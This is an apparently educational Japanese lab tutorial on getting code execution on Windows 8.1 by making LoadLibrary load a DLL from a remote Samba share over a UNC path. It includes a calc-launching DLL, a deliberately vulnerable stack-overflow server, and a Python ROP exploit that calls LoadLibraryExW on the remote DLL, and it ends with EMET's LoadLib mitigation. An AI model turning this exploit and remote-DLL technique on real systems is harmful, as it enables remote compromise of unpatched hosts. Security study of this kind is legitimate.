WindowsでUNC LoadLibraryによる任意コード実行をやってみる
LoadLibrary関数は実行時にDLLをロードする関数であるが、引数にUNCパスを与えることにより、SMBプロトコル(Windowsファイル共有)を介してリモートホストにあるDLLをロードできることが知られている。 また、DLLはロード時にDLLMain関数が自動的に呼び出されるようになっている。 すなわち、LoadLibrary関数の呼び出しによりネットワークを介して任意のコードを実行させることが可能である。
ここでは、スタックバッファオーバーフロー脆弱性からLoadLibrary関数を呼び出し、リモートホストにあるDLLをロードすることで電卓を起動してみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、msvcr71.dllインストール済
>systeminfo
OS 名: Microsoft Windows 8.1 Pro
OS バージョン: 6.3.9600 N/A ビルド 9600
OS ビルドの種類: Multiprocessor Free
システムの種類: x64-based PC
プロセッサ: 1 プロセッサインストール済みです。
[01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz
>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
>powershell -c "(dir C:\Windows\SysWOW64\msvcr71.dll).VersionInfo.FileVersion"
7.10.3052.4
Kali Linux 1.1.0a 64 bit版、Metasploit Framework 4.11.3
root@vm-kali64:~# uname -a Linux vm-kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64 GNU/Linux root@vm-kali64:~# lsb_release -a No LSB modules are available. Distributor ID: Kali Description: Kali GNU/Linux 1.1.0 Release: 1.1.0 Codename: moto root@vm-kali64:~# msfconsole -v Framework Version: 4.11.3-2015063001
電卓を起動するDLLを書いてみる
まず、ロード時に電卓を起動するDLLを作ってみる。 プログラムコードを書くと次のようになる。
/* execcalc.c */
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
WinExec("calc", SW_SHOWNORMAL);
ExitProcess(0);
break;
}
return TRUE;
}
LoadLibrary経由でロードされたときは引数のfdwReasonにDLL_PROCESS_ATTACHが渡されるため、上のコードではこの場合に電卓を起動するようにしている。
上のコードをコンパイルしてDLLを作成する。
DLLを作成するには、コンパイルオプションとして/LDを与えればよい。
>cl /LD execcalc.c Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. execcalc.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:execcalc.dll /dll /implib:execcalc.lib execcalc.obj
execcalc.dllが作成されていることが確認できたら、次にこのDLLをロードするプログラムコードを書いてみる。
/* test.c */
#include <windows.h>
int main()
{
LoadLibrary("execcalc");
puts("[!] process not exited in DLL");
ExitProcess(0);
}
コンパイルして実行してみる。
>cl test.c >test.exe
電卓が起動した後、puts関数が実行される前にプロセスが終了することが確認できる。
リモートホストにあるDLLをロードしてみる
リモートホストにあるDLLのロードを確認するため、ここではKali Linux上のSambaを利用することとする。
まず、/etc/samba/smb.confに次の内容を追記し、共有フォルダ名shareとして/tmp/shareがパスワード不要で共有されるようにする。
[share] path = /tmp/share read only = no guest ok = yes
/tmp/shareをパーミッション777で作成し、Sambaを起動する。
root@vm-kali64:~# mkdir /tmp/share root@vm-kali64:~# chmod 777 /tmp/share root@vm-kali64:~# service samba status nmbd is not running ... failed! smbd is not running ... failed! root@vm-kali64:~# service samba start Starting Samba daemons: nmbd smbd. root@vm-kali64:~# netstat -antp 稼働中のインターネット接続 (サーバと確立) Proto 受信-Q 送信-Q 内部アドレス 外部アドレス 状態 PID/Program name tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 4423/smbd tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 4423/smbd tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2549/sshd tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 2665/0 tcp6 0 0 :::445 :::* LISTEN 4423/smbd tcp6 0 0 :::139 :::* LISTEN 4423/smbd tcp6 0 0 :::22 :::* LISTEN 2549/sshd tcp6 0 0 ::1:6010 :::* LISTEN 2665/0
上の結果より、smbdがtcp/139、tcp/445で待ち受けていることが確認できる。
この状態でWindows上のエクスプローラから\\<ip address>\shareを開くとアクセス可能となっているので、作成したexeccalc.dllをコピーしておく。
この形式のパス表記はWindowsファイル共有において他のマシンの共有フォルダを表す際に用いられ、UNC(Uniform Naming Convention)と呼ばれる。
次に、LoadLibrary関数にUNCパスを指定したプログラムコードを書いてみる。
/* test2.c */
#include <windows.h>
int main()
{
LoadLibrary("\\\\192.168.56.4\\share\\execcalc");
puts("[!] process not exited in DLL");
ExitProcess(0);
}
文字列中では\をエスケープする必要があることに注意する。
コンパイルして実行すると、電卓が起動することが確認できる。
>cl test2.c >test2.exe
Kali Linux側で事前にパケットキャプチャしておき内容を確認すると、WindowsからKali Linuxのtcp/445に向かう通信が発生していることがわかる。 ここではその手順は省略するが、発生する通信の詳細を示すと次のようになる。
root@vm-kali64:~# tshark -r dump.pcap 'smb2' 4 0.000768 192.168.56.1 -> 192.168.56.4 SMB2 166 Negotiate Protocol Request 6 0.003539 192.168.56.4 -> 192.168.56.1 SMB2 260 Negotiate Protocol Response 7 0.004282 192.168.56.1 -> 192.168.56.4 SMB2 220 Session Setup Request, NTLMSSP_NEGOTIATE 8 0.004920 192.168.56.4 -> 192.168.56.1 SMB2 309 Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE 9 0.005497 192.168.56.1 -> 192.168.56.4 SMB2 578 Session Setup Request, NTLMSSP_AUTH, User: target-win8\user 10 0.006338 192.168.56.4 -> 192.168.56.1 SMB2 139 Session Setup Response 11 0.006890 192.168.56.1 -> 192.168.56.4 SMB2 170 Tree Connect Request Tree: \\192.168.56.4\share 12 0.007374 192.168.56.4 -> 192.168.56.1 SMB2 138 Tree Connect Response 13 0.007858 192.168.56.1 -> 192.168.56.4 SMB2 250 Create Request File: execcalc.DLL 14 0.008935 192.168.56.4 -> 192.168.56.1 SMB2 298 Create Response File: execcalc.DLL 15 0.009500 192.168.56.1 -> 192.168.56.4 SMB2 146 Close Request File: execcalc.DLL 16 0.009685 192.168.56.4 -> 192.168.56.1 SMB2 182 Close Response 17 0.010307 192.168.56.1 -> 192.168.56.4 SMB2 306 Create Request File: execcalc.DLL 18 0.010904 192.168.56.4 -> 192.168.56.1 SMB2 298 Create Response File: execcalc.DLL 19 0.011782 192.168.56.1 -> 192.168.56.4 SMB2 171 Read Request Len:32768 Off:0 File: execcalc.DLL 30 0.012645 192.168.56.4 -> 192.168.56.1 SMB2 786 Read Response 35 0.013210 192.168.56.1 -> 192.168.56.4 SMB2 171 Read Request Len:31744 Off:36864 File: execcalc.DLL 40 0.013511 192.168.56.4 -> 192.168.56.1 SMB2 7062 Read Response 49 0.017476 192.168.56.1 -> 192.168.56.4 SMB2 171 Read Request Len:4096 Off:32768 File: execcalc.DLL 50 0.017607 192.168.56.4 -> 192.168.56.1 SMB2 4234 Read Response
Windowsからのリクエストにより、execcalc.DLLが転送されていることが確認できる。
脆弱性のあるプログラムを書いてみる
脆弱性のあるプログラムは、「Windowsでnon-ASLR DLLを利用したROPによるDEP回避をやってみる」と同じものを用いることにする。
/* bof.c */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
void bof(SOCKET c)
{
char buf[400];
printf("[+] buf = %p\n", buf);
recv(c, buf, 1024, 0);
}
int main()
{
WSADATA wsaData;
SOCKET s, c;
SOCKADDR_IN name;
BOOL yes = 1;
WSAStartup(MAKEWORD(2, 2), &wsaData);
s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));
name.sin_family = AF_INET;
name.sin_addr.s_addr = INADDR_ANY;
name.sin_port = htons(4444);
bind(s, (SOCKADDR *)&name, sizeof(name));
listen(s, 5);
puts("[+] listening on 0.0.0.0 port 4444");
c = accept(s, NULL, NULL);
closesocket(s);
puts("[+] connection accepted");
bof(c);
closesocket(c);
ExitProcess(0);
}
コンパイルし、実行ファイルを生成する。
>cl bof.c /GS- /link /dynamicbase:no
エクスプロイトコードを書いてみる
「Windowsでnon-ASLR DLLを利用したROPによるDEP回避をやってみる」と同様の手順で、ROPによりLoadLibrary関数を呼び出すエクスプロイトコードを書くと次のようになる。
# exploit.py
import socket
import struct
addr_buf = 0x0018FBF0
addr_pop_ecx = 0x004011e2 # 0x004011e2: pop ecx ; ret ; (30 found)
addr_jmp_ptr_ecx = 0x004056c1 # 0x004056c1: jmp dword [ecx] ; (2 found)
iat_loadlibraryexw = 0x0040d0cc # 0040d0cc 767ca720 KERNEL32!LoadLibraryExWStub
bufsize = 400
def wchar(s):
return ''.join(c+'\x00' for c in s)
buf = wchar('\\\\192.168.56.4\\share\\execcalc\x00')
buf += 'A' * (bufsize-len(buf))
buf += 'AAAA' # saved ebp
buf += struct.pack('<I', addr_pop_ecx) # retaddr
buf += struct.pack('<I', iat_loadlibraryexw)
buf += struct.pack('<I', addr_jmp_ptr_ecx) # jump to LoadLibraryExW()
buf += 'AAAA'
buf += struct.pack('<I', addr_buf) # lpFileName
buf += struct.pack('<I', 0) # hFile
buf += struct.pack('<I', 0) # dwFlags
c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()
プログラムを起動し、エクスプロイトコードを実行してみる。
>bof.exe [+] listening on 0.0.0.0 port 4444
$ python exploit.py
リモートホストに置かれたDLLがロードされ、電卓が起動することが確認できる。
EMET LoadLib
Microsoftが提供する脆弱性緩和ツールEMET(Enhanced Mitigation Experience Toolkit)では、「Load Library Check(LoadLib)」としてこの手法に対する防御手法が実装されている。 LoadLibは、引数がUNCパスとなっているLoadLibrary関数の呼び出しを禁止するというものである。